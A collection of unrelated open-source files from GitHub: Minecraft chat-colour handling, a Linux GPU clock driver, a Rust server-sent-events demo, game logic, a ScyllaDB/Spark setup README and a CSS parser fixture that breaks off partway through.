* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* @author GeyserMC
* @link https://github.com/GeyserMC/Geyser
*/
package org.geysermc.connector.common;
public class ChatColor {
public static final char ESCAPE = '§';
public static final String BLACK = ESCAPE + "0";
public static final String DARK_BLUE = ESCAPE + "1";
public static final String DARK_GREEN = ESCAPE + "2";
public static final String DARK_AQUA = ESCAPE + "3";
public static final String DARK_RED = ESCAPE + "4";
public static final String DARK_PURPLE = ESCAPE + "5";
public static final String GOLD = ESCAPE + "6";
public static final String GRAY = ESCAPE + "7";
public static final String DARK_GRAY = ESCAPE + "8";
public static final String BLUE = ESCAPE + "9";
public static final String GREEN = ESCAPE + "a";
public static final String AQUA = ESCAPE + "b";
public static final String RED = ESCAPE + "c";
public static final String LIGHT_PURPLE = ESCAPE + "d";
public static final String YELLOW = ESCAPE + "e";
public static final String WHITE = ESCAPE + "f";
public static final String OBFUSCATED = ESCAPE + "k";
public static final String BOLD = ESCAPE + "l";
public static final String STRIKETHROUGH = ESCAPE + "m";
public static final String UNDERLINE = ESCAPE + "n";
public static final String ITALIC = ESCAPE + "o";
public static final String RESET = ESCAPE + "r";
/**
* Convert chat colour codes to terminal colours
*
* @param string The text to replace colours for
*
* @return A string ready for terminal printing
*/
public static String toANSI(String string) {
string = string.replace(BOLD, (char) 0x1b + "[1m");
string = string.replace(OBFUSCATED, (char) 0x1b + "[5m");
string = string.replace(ITALIC, (char) 0x1b + "[3m");
string = string.replace(UNDERLINE, (char) 0x1b + "[4m");
string = string.replace(STRIKETHROUGH, (char) 0x1b + "[9m");
string = string.replace(RESET, (char) 0x1b + "[0m");
string = string.replace(BLACK, (char) 0x1b + "[0;30m");
string = string.replace(DARK_BLUE, (char) 0x1b + "[0;34m");
string = string.replace(DARK_GREEN, (char) 0x1b + "[0;32m");
string = string.replace(DARK_AQUA, (char) 0x1b + "[0;36m");
string = string.replace(DARK_RED, (char) 0x1b + "[0;31m");
string = string.replace(DARK_PURPLE, (char) 0x1b + "[0;35m");
string = string.replace(GOLD, (char) 0x1b + "[0;33m");
string = string.replace(GRAY, (char) 0x1b + "[0;37m");
string = string.replace(DARK_GRAY, (char) 0x1b + "[30;1m");
string = string.replace(BLUE, (char) 0x1b + "[34;1m");
string = string.replace(GREEN, (char) 0x1b + "[32;1m");
string = string.replace(AQUA, (char) 0x1b + "[36;1m");
string = string.replace(RED, (char) 0x1b + "[31;1m");
string = string.replace(LIGHT_PURPLE, (char) 0x1b + "[35;1m");
string = string.replace(YELLOW, (char) 0x1b + "[33;1m");
string = string.replace(WHITE, (char) 0x1b + "[37;1m");
return string;
}
public String translateAlternateColorCodes(char color, String message) {
return message.replace(color, ESCAPE);
}
/**
* Remove all colour formatting tags from a message
*
* @param message Message to remove colour tags from
*
* @return The sanitised message
*/
public static String stripColors(String message) {
return message = message.replaceAll("(&([a-fk-or0-9]))","").replaceAll("(§([a-fk-or0-9]))","").replaceAll("s/\\x1b\\[[0-9;]*[a-zA-Z]//g","");
}
} | {
"pile_set_name": "Github"
} |
struct semid_ds {
struct ipc_perm sem_perm;
unsigned long __sem_otime_lo;
unsigned long __sem_otime_hi;
unsigned long __sem_ctime_lo;
unsigned long __sem_ctime_hi;
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned short sem_nsems;
char __sem_nsems_pad[sizeof(long)-sizeof(short)];
#else
char __sem_nsems_pad[sizeof(long)-sizeof(short)];
unsigned short sem_nsems;
#endif
long __unused3;
long __unused4;
time_t sem_otime;
time_t sem_ctime;
};
| {
"pile_set_name": "Github"
} |
load("@io_bazel_rules_go//go:def.bzl", "go_library")
go_library(
name = "go_default_library",
srcs = [
"config.go",
"seccomp_unsupported.go",
],
importpath = "github.com/opencontainers/runc/libcontainer/seccomp",
visibility = ["//visibility:public"],
deps = ["//vendor/github.com/opencontainers/runc/libcontainer/configs:go_default_library"],
)
filegroup(
name = "package-srcs",
srcs = glob(["**"]),
tags = ["automanaged"],
visibility = ["//visibility:private"],
)
filegroup(
name = "all-srcs",
srcs = [":package-srcs"],
tags = ["automanaged"],
visibility = ["//visibility:public"],
)
| {
"pile_set_name": "Github"
} |
dojo.provide("dojox.image");
dojo.require("dojox.image._base");
| {
"pile_set_name": "Github"
} |
---
:scope:
:url: https://fonts.googleapis.com/css?family=Ubuntu
:body: ''
:status: 200
:method: get
:headers:
Content-Type: text/css; charset=utf-8
Access-Control-Allow-Origin: "*"
Timing-Allow-Origin: "*"
Expires: Wed, 02 Nov 2016 17:06:04 GMT
Date: Wed, 02 Nov 2016 17:06:04 GMT
Cache-Control: private, max-age=86400
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alt-Svc: quic=":443"; ma=2592000; v="36,35,34"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
:content: |
@font-face {
font-family: 'Ubuntu';
font-style: normal;
font-weight: 400;
src: local('Ubuntu'), url(https://fonts.gstatic.com/s/ubuntu/v9/sVvvcJDRTINJla2R4XwPVevvDin1pK8aKteLpeZ5c0A.ttf) format('truetype');
}
| {
"pile_set_name": "Github"
} |
name czech
language cs
gender male
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>TreeGrid Actions - jQuery EasyUI Demo</title>
<link rel="stylesheet" type="text/css" href="../../themes/default/easyui.css">
<link rel="stylesheet" type="text/css" href="../../themes/icon.css">
<link rel="stylesheet" type="text/css" href="../demo.css">
<script type="text/javascript" src="../../jquery.min.js"></script>
<script type="text/javascript" src="../../jquery.easyui.min.js"></script>
</head>
<body>
<h2>TreeGrid Actions</h2>
<p>Click the buttons below to perform actions.</p>
<div style="margin:20px 0;">
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="collapseAll()">CollapseAll</a>
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="expandAll()">ExpandAll</a>
<a href="javascript:void(0)" class="easyui-linkbutton" onclick="expandTo()">ExpandTo</a>
</div>
<table id="tg" class="easyui-treegrid" title="TreeGrid Actions" style="width:700px;height:250px"
data-options="
iconCls: 'icon-ok',
rownumbers: true,
animate: true,
collapsible: true,
fitColumns: true,
url: 'treegrid_data2.json',
method: 'get',
idField: 'id',
treeField: 'name'
">
<thead>
<tr>
<th data-options="field:'name',width:180">Task Name</th>
<th data-options="field:'persons',width:60,align:'right'">Persons</th>
<th data-options="field:'begin',width:80">Begin Date</th>
<th data-options="field:'end',width:80">End Date</th>
<th data-options="field:'progress',width:120,formatter:formatProgress">Progress</th>
</tr>
</thead>
</table>
<script type="text/javascript">
function formatProgress(value){
if (value){
var s = '<div style="width:100%;border:1px solid #ccc">' +
'<div style="width:' + value + '%;background:#cc0000;color:#fff">' + value + '%' + '</div>'
'</div>';
return s;
} else {
return '';
}
}
function collapseAll(){
$('#tg').treegrid('collapseAll');
}
function expandAll(){
$('#tg').treegrid('expandAll');
}
function expandTo(){
$('#tg').treegrid('expandTo',21).treegrid('select',21);
}
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
<!--
Copyright 2017 The Closure Library Authors. All Rights Reserved.
Use of this source code is governed by the Apache License, Version 2.0.
See the COPYING file for details.
-->
<div id="debug" style="font-size: small">
</div> | {
"pile_set_name": "Github"
} |
using System;
using Server.Mobiles;
namespace Server
{
public enum VirtueLevel
{
None,
Seeker,
Follower,
Knight
}
public enum VirtueName
{
Humility,
Sacrifice,
Compassion,
Spirituality,
Valor,
Honor,
Justice,
Honesty
}
public class VirtueHelper
{
public static bool HasAny( Mobile from, VirtueName virtue )
{
return ( from.Virtues.GetValue( (int)virtue ) > 0 );
}
public static bool IsHighestPath( Mobile from, VirtueName virtue )
{
return ( from.Virtues.GetValue( (int)virtue ) >= GetMaxAmount( virtue ) );
}
public static VirtueLevel GetLevel( Mobile from, VirtueName virtue )
{
int v = from.Virtues.GetValue( (int)virtue );
int vl;
int vmax = GetMaxAmount( virtue );
if ( v < 4000 )
vl = 0;
else if ( v >= vmax)
vl = 3;
else
vl = ( v + 9999 ) / 10000;
return (VirtueLevel)vl;
}
public static int GetMaxAmount( VirtueName virtue )
{
if( virtue == VirtueName.Honor )
return 20000;
if( virtue == VirtueName.Sacrifice )
return 22000;
return 21000;
}
public static bool Award( Mobile from, VirtueName virtue, int amount, ref bool gainedPath )
{
int current = from.Virtues.GetValue( (int)virtue );
int maxAmount = GetMaxAmount( virtue );
if ( current >= maxAmount )
return false;
if( (current + amount) >= maxAmount )
amount = maxAmount - current;
VirtueLevel oldLevel = GetLevel( from, virtue );
from.Virtues.SetValue( (int)virtue, current + amount );
gainedPath = ( GetLevel( from, virtue ) != oldLevel );
return true;
}
public static bool Atrophy( Mobile from, VirtueName virtue )
{
return Atrophy( from, virtue, 1 );
}
public static bool Atrophy( Mobile from, VirtueName virtue, int amount )
{
int current = from.Virtues.GetValue( (int)virtue );
if( (current - amount) >= 0 )
from.Virtues.SetValue( (int)virtue, current - amount );
else
from.Virtues.SetValue( (int)virtue, 0 );
return ( current > 0 );
}
public static bool IsSeeker( Mobile from, VirtueName virtue )
{
return ( GetLevel( from, virtue ) >= VirtueLevel.Seeker );
}
public static bool IsFollower( Mobile from, VirtueName virtue )
{
return ( GetLevel( from, virtue ) >= VirtueLevel.Follower );
}
public static bool IsKnight( Mobile from, VirtueName virtue )
{
return ( GetLevel( from, virtue ) >= VirtueLevel.Knight );
}
public static void AwardVirtue( PlayerMobile pm, VirtueName virtue, int amount )
{
if ( virtue == VirtueName.Compassion )
{
if ( pm.CompassionGains > 0 && DateTime.UtcNow > pm.NextCompassionDay )
{
pm.NextCompassionDay = DateTime.MinValue;
pm.CompassionGains = 0;
}
if ( pm.CompassionGains >= 5 )
{
pm.SendLocalizedMessage( 1053004 ); // You must wait about a day before you can gain in compassion again.
return;
}
}
bool gainedPath = false;
string virtueName = Enum.GetName( typeof( VirtueName ), virtue );
if ( VirtueHelper.Award( pm, virtue, amount, ref gainedPath ) )
{
// TODO: Localize?
if ( gainedPath )
pm.SendMessage( "You have gained a path in {0}!", virtueName );
else
pm.SendMessage( "You have gained in {0}.", virtueName );
if ( virtue == VirtueName.Compassion )
{
pm.NextCompassionDay = DateTime.UtcNow + TimeSpan.FromDays( 1.0 );
++pm.CompassionGains;
if ( pm.CompassionGains >= 5 )
pm.SendLocalizedMessage( 1053004 ); // You must wait about a day before you can gain in compassion again.
}
}
else
{
// TODO: Localize?
pm.SendMessage( "You have achieved the highest path of {0} and can no longer gain any further.", virtueName );
}
}
}
}
| {
"pile_set_name": "Github"
} |
use std::pin::Pin;
use std::sync::Mutex;
use std::task::{Context, Poll};
use std::time::Duration;
use actix_web::rt::time::{interval_at, Instant};
use actix_web::web::{Bytes, Data, Path};
use actix_web::{web, App, Error, HttpResponse, HttpServer, Responder};
use futures::{Stream, StreamExt};
use tokio::sync::mpsc::{channel, Receiver, Sender};
#[actix_web::main]
async fn main() -> std::io::Result<()> {
env_logger::init();
let data = Broadcaster::create();
HttpServer::new(move || {
App::new()
.app_data(data.clone())
.route("/", web::get().to(index))
.route("/events", web::get().to(new_client))
.route("/broadcast/{msg}", web::get().to(broadcast))
})
.bind("127.0.0.1:8080")?
.run()
.await
}
async fn index() -> impl Responder {
let content = include_str!("index.html");
HttpResponse::Ok()
.header("content-type", "text/html")
.body(content)
}
async fn new_client(broadcaster: Data<Mutex<Broadcaster>>) -> impl Responder {
let rx = broadcaster.lock().unwrap().new_client();
HttpResponse::Ok()
.header("content-type", "text/event-stream")
.streaming(rx)
}
async fn broadcast(
msg: Path<String>,
broadcaster: Data<Mutex<Broadcaster>>,
) -> impl Responder {
broadcaster.lock().unwrap().send(&msg.into_inner());
HttpResponse::Ok().body("msg sent")
}
struct Broadcaster {
clients: Vec<Sender<Bytes>>,
}
impl Broadcaster {
fn create() -> Data<Mutex<Self>> {
// Data ≃ Arc
let me = Data::new(Mutex::new(Broadcaster::new()));
// ping clients every 10 seconds to see if they are alive
Broadcaster::spawn_ping(me.clone());
me
}
fn new() -> Self {
Broadcaster {
clients: Vec::new(),
}
}
fn spawn_ping(me: Data<Mutex<Self>>) {
actix_web::rt::spawn(async move {
let mut task = interval_at(Instant::now(), Duration::from_secs(10));
while task.next().await.is_some() {
me.lock().unwrap().remove_stale_clients();
}
})
}
fn remove_stale_clients(&mut self) {
let mut ok_clients = Vec::new();
for client in self.clients.iter() {
let result = client.clone().try_send(Bytes::from("data: ping\n\n"));
if let Ok(()) = result {
ok_clients.push(client.clone());
}
}
self.clients = ok_clients;
}
fn new_client(&mut self) -> Client {
let (tx, rx) = channel(100);
tx.clone()
.try_send(Bytes::from("data: connected\n\n"))
.unwrap();
self.clients.push(tx);
Client(rx)
}
fn send(&self, msg: &str) {
let msg = Bytes::from(["data: ", msg, "\n\n"].concat());
for client in self.clients.iter() {
client.clone().try_send(msg.clone()).unwrap_or(());
}
}
}
// wrap Receiver in own type, with correct error type
struct Client(Receiver<Bytes>);
impl Stream for Client {
type Item = Result<Bytes, Error>;
fn poll_next(
mut self: Pin<&mut Self>,
cx: &mut Context<'_>,
) -> Poll<Option<Self::Item>> {
match Pin::new(&mut self.0).poll_next(cx) {
Poll::Ready(Some(v)) => Poll::Ready(Some(Ok(v))),
Poll::Ready(None) => Poll::Ready(None),
Poll::Pending => Poll::Pending,
}
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2012 Red Hat Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* Authors: Ben Skeggs
*/
#define gf100_clk(p) container_of((p), struct gf100_clk, base)
#include "priv.h"
#include "pll.h"
#include <subdev/bios.h>
#include <subdev/bios/pll.h>
#include <subdev/timer.h>
struct gf100_clk_info {
u32 freq;
u32 ssel;
u32 mdiv;
u32 dsrc;
u32 ddiv;
u32 coef;
};
struct gf100_clk {
struct nvkm_clk base;
struct gf100_clk_info eng[16];
};
static u32 read_div(struct gf100_clk *, int, u32, u32);
static u32
read_vco(struct gf100_clk *clk, u32 dsrc)
{
struct nvkm_device *device = clk->base.subdev.device;
u32 ssrc = nvkm_rd32(device, dsrc);
if (!(ssrc & 0x00000100))
return nvkm_clk_read(&clk->base, nv_clk_src_sppll0);
return nvkm_clk_read(&clk->base, nv_clk_src_sppll1);
}
static u32
read_pll(struct gf100_clk *clk, u32 pll)
{
struct nvkm_device *device = clk->base.subdev.device;
u32 ctrl = nvkm_rd32(device, pll + 0x00);
u32 coef = nvkm_rd32(device, pll + 0x04);
u32 P = (coef & 0x003f0000) >> 16;
u32 N = (coef & 0x0000ff00) >> 8;
u32 M = (coef & 0x000000ff) >> 0;
u32 sclk;
if (!(ctrl & 0x00000001))
return 0;
switch (pll) {
case 0x00e800:
case 0x00e820:
sclk = device->crystal;
P = 1;
break;
case 0x132000:
sclk = nvkm_clk_read(&clk->base, nv_clk_src_mpllsrc);
break;
case 0x132020:
sclk = nvkm_clk_read(&clk->base, nv_clk_src_mpllsrcref);
break;
case 0x137000:
case 0x137020:
case 0x137040:
case 0x1370e0:
sclk = read_div(clk, (pll & 0xff) / 0x20, 0x137120, 0x137140);
break;
default:
return 0;
}
return sclk * N / M / P;
}
static u32
read_div(struct gf100_clk *clk, int doff, u32 dsrc, u32 dctl)
{
struct nvkm_device *device = clk->base.subdev.device;
u32 ssrc = nvkm_rd32(device, dsrc + (doff * 4));
u32 sctl = nvkm_rd32(device, dctl + (doff * 4));
switch (ssrc & 0x00000003) {
case 0:
if ((ssrc & 0x00030000) != 0x00030000)
return device->crystal;
return 108000;
case 2:
return 100000;
case 3:
if (sctl & 0x80000000) {
u32 sclk = read_vco(clk, dsrc + (doff * 4));
u32 sdiv = (sctl & 0x0000003f) + 2;
return (sclk * 2) / sdiv;
}
return read_vco(clk, dsrc + (doff * 4));
default:
return 0;
}
}
static u32
read_clk(struct gf100_clk *clk, int idx)
{
struct nvkm_device *device = clk->base.subdev.device;
u32 sctl = nvkm_rd32(device, 0x137250 + (idx * 4));
u32 ssel = nvkm_rd32(device, 0x137100);
u32 sclk, sdiv;
if (ssel & (1 << idx)) {
if (idx < 7)
sclk = read_pll(clk, 0x137000 + (idx * 0x20));
else
sclk = read_pll(clk, 0x1370e0);
sdiv = ((sctl & 0x00003f00) >> 8) + 2;
} else {
sclk = read_div(clk, idx, 0x137160, 0x1371d0);
sdiv = ((sctl & 0x0000003f) >> 0) + 2;
}
if (sctl & 0x80000000)
return (sclk * 2) / sdiv;
return sclk;
}
static int
gf100_clk_read(struct nvkm_clk *base, enum nv_clk_src src)
{
struct gf100_clk *clk = gf100_clk(base);
struct nvkm_subdev *subdev = &clk->base.subdev;
struct nvkm_device *device = subdev->device;
switch (src) {
case nv_clk_src_crystal:
return device->crystal;
case nv_clk_src_href:
return 100000;
case nv_clk_src_sppll0:
return read_pll(clk, 0x00e800);
case nv_clk_src_sppll1:
return read_pll(clk, 0x00e820);
case nv_clk_src_mpllsrcref:
return read_div(clk, 0, 0x137320, 0x137330);
case nv_clk_src_mpllsrc:
return read_pll(clk, 0x132020);
case nv_clk_src_mpll:
return read_pll(clk, 0x132000);
case nv_clk_src_mdiv:
return read_div(clk, 0, 0x137300, 0x137310);
case nv_clk_src_mem:
if (nvkm_rd32(device, 0x1373f0) & 0x00000002)
return nvkm_clk_read(&clk->base, nv_clk_src_mpll);
return nvkm_clk_read(&clk->base, nv_clk_src_mdiv);
case nv_clk_src_gpc:
return read_clk(clk, 0x00);
case nv_clk_src_rop:
return read_clk(clk, 0x01);
case nv_clk_src_hubk07:
return read_clk(clk, 0x02);
case nv_clk_src_hubk06:
return read_clk(clk, 0x07);
case nv_clk_src_hubk01:
return read_clk(clk, 0x08);
case nv_clk_src_copy:
return read_clk(clk, 0x09);
case nv_clk_src_daemon:
return read_clk(clk, 0x0c);
case nv_clk_src_vdec:
return read_clk(clk, 0x0e);
default:
nvkm_error(subdev, "invalid clock source %d\n", src);
return -EINVAL;
}
}
static u32
calc_div(struct gf100_clk *clk, int idx, u32 ref, u32 freq, u32 *ddiv)
{
u32 div = min((ref * 2) / freq, (u32)65);
if (div < 2)
div = 2;
*ddiv = div - 2;
return (ref * 2) / div;
}
static u32
calc_src(struct gf100_clk *clk, int idx, u32 freq, u32 *dsrc, u32 *ddiv)
{
u32 sclk;
/* use one of the fixed frequencies if possible */
*ddiv = 0x00000000;
switch (freq) {
case 27000:
case 108000:
*dsrc = 0x00000000;
if (freq == 108000)
*dsrc |= 0x00030000;
return freq;
case 100000:
*dsrc = 0x00000002;
return freq;
default:
*dsrc = 0x00000003;
break;
}
/* otherwise, calculate the closest divider */
sclk = read_vco(clk, 0x137160 + (idx * 4));
if (idx < 7)
sclk = calc_div(clk, idx, sclk, freq, ddiv);
return sclk;
}
static u32
calc_pll(struct gf100_clk *clk, int idx, u32 freq, u32 *coef)
{
struct nvkm_subdev *subdev = &clk->base.subdev;
struct nvkm_bios *bios = subdev->device->bios;
struct nvbios_pll limits;
int N, M, P, ret;
ret = nvbios_pll_parse(bios, 0x137000 + (idx * 0x20), &limits);
if (ret)
return 0;
limits.refclk = read_div(clk, idx, 0x137120, 0x137140);
if (!limits.refclk)
return 0;
ret = gt215_pll_calc(subdev, &limits, freq, &N, NULL, &M, &P);
if (ret <= 0)
return 0;
*coef = (P << 16) | (N << 8) | M;
return ret;
}
static int
calc_clk(struct gf100_clk *clk, struct nvkm_cstate *cstate, int idx, int dom)
{
struct gf100_clk_info *info = &clk->eng[idx];
u32 freq = cstate->domain[dom];
u32 src0, div0, div1D, div1P = 0;
u32 clk0, clk1 = 0;
/* invalid clock domain */
if (!freq)
return 0;
/* first possible path, using only dividers */
clk0 = calc_src(clk, idx, freq, &src0, &div0);
clk0 = calc_div(clk, idx, clk0, freq, &div1D);
/* see if we can get any closer using PLLs */
if (clk0 != freq && (0x00004387 & (1 << idx))) {
if (idx <= 7)
clk1 = calc_pll(clk, idx, freq, &info->coef);
else
clk1 = cstate->domain[nv_clk_src_hubk06];
clk1 = calc_div(clk, idx, clk1, freq, &div1P);
}
/* select the method which gets closest to target freq */
if (abs((int)freq - clk0) <= abs((int)freq - clk1)) {
info->dsrc = src0;
if (div0) {
info->ddiv |= 0x80000000;
info->ddiv |= div0 << 8;
info->ddiv |= div0;
}
if (div1D) {
info->mdiv |= 0x80000000;
info->mdiv |= div1D;
}
info->ssel = info->coef = 0;
info->freq = clk0;
} else {
if (div1P) {
info->mdiv |= 0x80000000;
info->mdiv |= div1P << 8;
}
info->ssel = (1 << idx);
info->freq = clk1;
}
return 0;
}
static int
gf100_clk_calc(struct nvkm_clk *base, struct nvkm_cstate *cstate)
{
struct gf100_clk *clk = gf100_clk(base);
int ret;
if ((ret = calc_clk(clk, cstate, 0x00, nv_clk_src_gpc)) ||
(ret = calc_clk(clk, cstate, 0x01, nv_clk_src_rop)) ||
(ret = calc_clk(clk, cstate, 0x02, nv_clk_src_hubk07)) ||
(ret = calc_clk(clk, cstate, 0x07, nv_clk_src_hubk06)) ||
(ret = calc_clk(clk, cstate, 0x08, nv_clk_src_hubk01)) ||
(ret = calc_clk(clk, cstate, 0x09, nv_clk_src_copy)) ||
(ret = calc_clk(clk, cstate, 0x0c, nv_clk_src_daemon)) ||
(ret = calc_clk(clk, cstate, 0x0e, nv_clk_src_vdec)))
return ret;
return 0;
}
static void
gf100_clk_prog_0(struct gf100_clk *clk, int idx)
{
struct gf100_clk_info *info = &clk->eng[idx];
struct nvkm_device *device = clk->base.subdev.device;
if (idx < 7 && !info->ssel) {
nvkm_mask(device, 0x1371d0 + (idx * 0x04), 0x80003f3f, info->ddiv);
nvkm_wr32(device, 0x137160 + (idx * 0x04), info->dsrc);
}
}
static void
gf100_clk_prog_1(struct gf100_clk *clk, int idx)
{
struct nvkm_device *device = clk->base.subdev.device;
nvkm_mask(device, 0x137100, (1 << idx), 0x00000000);
nvkm_msec(device, 2000,
if (!(nvkm_rd32(device, 0x137100) & (1 << idx)))
break;
);
}
static void
gf100_clk_prog_2(struct gf100_clk *clk, int idx)
{
struct gf100_clk_info *info = &clk->eng[idx];
struct nvkm_device *device = clk->base.subdev.device;
const u32 addr = 0x137000 + (idx * 0x20);
if (idx <= 7) {
nvkm_mask(device, addr + 0x00, 0x00000004, 0x00000000);
nvkm_mask(device, addr + 0x00, 0x00000001, 0x00000000);
if (info->coef) {
nvkm_wr32(device, addr + 0x04, info->coef);
nvkm_mask(device, addr + 0x00, 0x00000001, 0x00000001);
nvkm_msec(device, 2000,
if (nvkm_rd32(device, addr + 0x00) & 0x00020000)
break;
);
nvkm_mask(device, addr + 0x00, 0x00020004, 0x00000004);
}
}
}
static void
gf100_clk_prog_3(struct gf100_clk *clk, int idx)
{
struct gf100_clk_info *info = &clk->eng[idx];
struct nvkm_device *device = clk->base.subdev.device;
if (info->ssel) {
nvkm_mask(device, 0x137100, (1 << idx), info->ssel);
nvkm_msec(device, 2000,
u32 tmp = nvkm_rd32(device, 0x137100) & (1 << idx);
if (tmp == info->ssel)
break;
);
}
}
static void
gf100_clk_prog_4(struct gf100_clk *clk, int idx)
{
struct gf100_clk_info *info = &clk->eng[idx];
struct nvkm_device *device = clk->base.subdev.device;
nvkm_mask(device, 0x137250 + (idx * 0x04), 0x00003f3f, info->mdiv);
}
static int
gf100_clk_prog(struct nvkm_clk *base)
{
struct gf100_clk *clk = gf100_clk(base);
struct {
void (*exec)(struct gf100_clk *, int);
} stage[] = {
{ gf100_clk_prog_0 }, /* div programming */
{ gf100_clk_prog_1 }, /* select div mode */
{ gf100_clk_prog_2 }, /* (maybe) program pll */
{ gf100_clk_prog_3 }, /* (maybe) select pll mode */
{ gf100_clk_prog_4 }, /* final divider */
};
int i, j;
for (i = 0; i < ARRAY_SIZE(stage); i++) {
for (j = 0; j < ARRAY_SIZE(clk->eng); j++) {
if (!clk->eng[j].freq)
continue;
stage[i].exec(clk, j);
}
}
return 0;
}
static void
gf100_clk_tidy(struct nvkm_clk *base)
{
struct gf100_clk *clk = gf100_clk(base);
memset(clk->eng, 0x00, sizeof(clk->eng));
}
static const struct nvkm_clk_func
gf100_clk = {
.read = gf100_clk_read,
.calc = gf100_clk_calc,
.prog = gf100_clk_prog,
.tidy = gf100_clk_tidy,
.domains = {
{ nv_clk_src_crystal, 0xff },
{ nv_clk_src_href , 0xff },
{ nv_clk_src_hubk06 , 0x00 },
{ nv_clk_src_hubk01 , 0x01 },
{ nv_clk_src_copy , 0x02 },
{ nv_clk_src_gpc , 0x03, 0, "core", 2000 },
{ nv_clk_src_rop , 0x04 },
{ nv_clk_src_mem , 0x05, 0, "memory", 1000 },
{ nv_clk_src_vdec , 0x06 },
{ nv_clk_src_daemon , 0x0a },
{ nv_clk_src_hubk07 , 0x0b },
{ nv_clk_src_max }
}
};
int
gf100_clk_new(struct nvkm_device *device, int index, struct nvkm_clk **pclk)
{
struct gf100_clk *clk;
if (!(clk = kzalloc(sizeof(*clk), GFP_KERNEL)))
return -ENOMEM;
*pclk = &clk->base;
return nvkm_clk_ctor(&gf100_clk, device, index, false, &clk->base);
}
| {
"pile_set_name": "Github"
} |
## Hooking up ScyllaDB and Spark - Introduction
For more information check out the [Mutant Monitoring System](https://university.scylladb.com/courses/the-mutant-monitoring-system-training-course/) Scylla University course.
### Launching Spark
To set up your local Spark environment, run the following command:
```shell
docker-compose up -d spark-master spark-worker
```
You can then launch the Spark shell as described in the blog post:
```shell
docker-compose exec spark-master spark-shell \
--conf spark.driver.host=spark-master
```
To launch the Spark shell afterwards with ScyllaDB support:
```shell
docker-compose exec spark-master spark-shell \
--conf spark.driver.host=spark-master \
--conf spark.cassandra.connection.host=scylladb-node1 \
--packages datastax:spark-cassandra-connector:2.3.0-s_2.11,commons-configuration:commons-configuration:1.10
```
### Shutting everything down
To stop everything:
```shell
docker-compose down
```
| {
"pile_set_name": "Github"
} |
use specs::prelude::*;
use super::{HungerClock, RunState, HungerState, SufferDamage, gamelog::GameLog};
pub struct HungerSystem {}
impl<'a> System<'a> for HungerSystem {
#[allow(clippy::type_complexity)]
type SystemData = (
Entities<'a>,
WriteStorage<'a, HungerClock>,
ReadExpect<'a, Entity>, // The player
ReadExpect<'a, RunState>,
WriteStorage<'a, SufferDamage>,
WriteExpect<'a, GameLog>
);
fn run(&mut self, data : Self::SystemData) {
let (entities, mut hunger_clock, player_entity, runstate, mut inflict_damage, mut log) = data;
for (entity, mut clock) in (&entities, &mut hunger_clock).join() {
let mut proceed = false;
match *runstate {
RunState::PlayerTurn => {
if entity == *player_entity {
proceed = true;
}
}
RunState::MonsterTurn => {
if entity != *player_entity {
proceed = false;
}
}
_ => proceed = false
}
if proceed {
clock.duration -= 1;
if clock.duration < 1 {
match clock.state {
HungerState::WellFed => {
clock.state = HungerState::Normal;
clock.duration = 200;
if entity == *player_entity {
log.entries.push("You are no longer well fed.".to_string());
}
}
HungerState::Normal => {
clock.state = HungerState::Hungry;
clock.duration = 200;
if entity == *player_entity {
log.entries.push("You are hungry.".to_string());
}
}
HungerState::Hungry => {
clock.state = HungerState::Starving;
clock.duration = 200;
if entity == *player_entity {
log.entries.push("You are starving!".to_string());
}
}
HungerState::Starving => {
// Inflict damage from hunger
if entity == *player_entity {
log.entries.push("Your hunger pangs are getting painful! You suffer 1 hp damage.".to_string());
}
SufferDamage::new_damage(&mut inflict_damage, entity, 1);
}
}
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
{
"type": "stylesheet",
"stylesheet": {
"rules": [
{
"type": "supports",
"supports": "(display: flex) or (display: box)",
"rules": [
{
"type": "comment",
"comment": " flex above ",
"position": {
"start": {
"line": 2,
"column": 3
},
"end": {
"line": 2,
"column": 19
},
"source": "input.css"
}
},
{
"type": "rule",
"selectors": [
".flex"
],
"declarations": [
{
"type": "comment",
"comment": " flex inside ",
"position": {
"start": {
"line": 4,
"column": 5
},
"end": {
"line": 4,
"column": 22
},
"source": "input.css"
}
},
{
"type": "declaration",
"property": "display",
"value": "box",
"position": {
"start": {
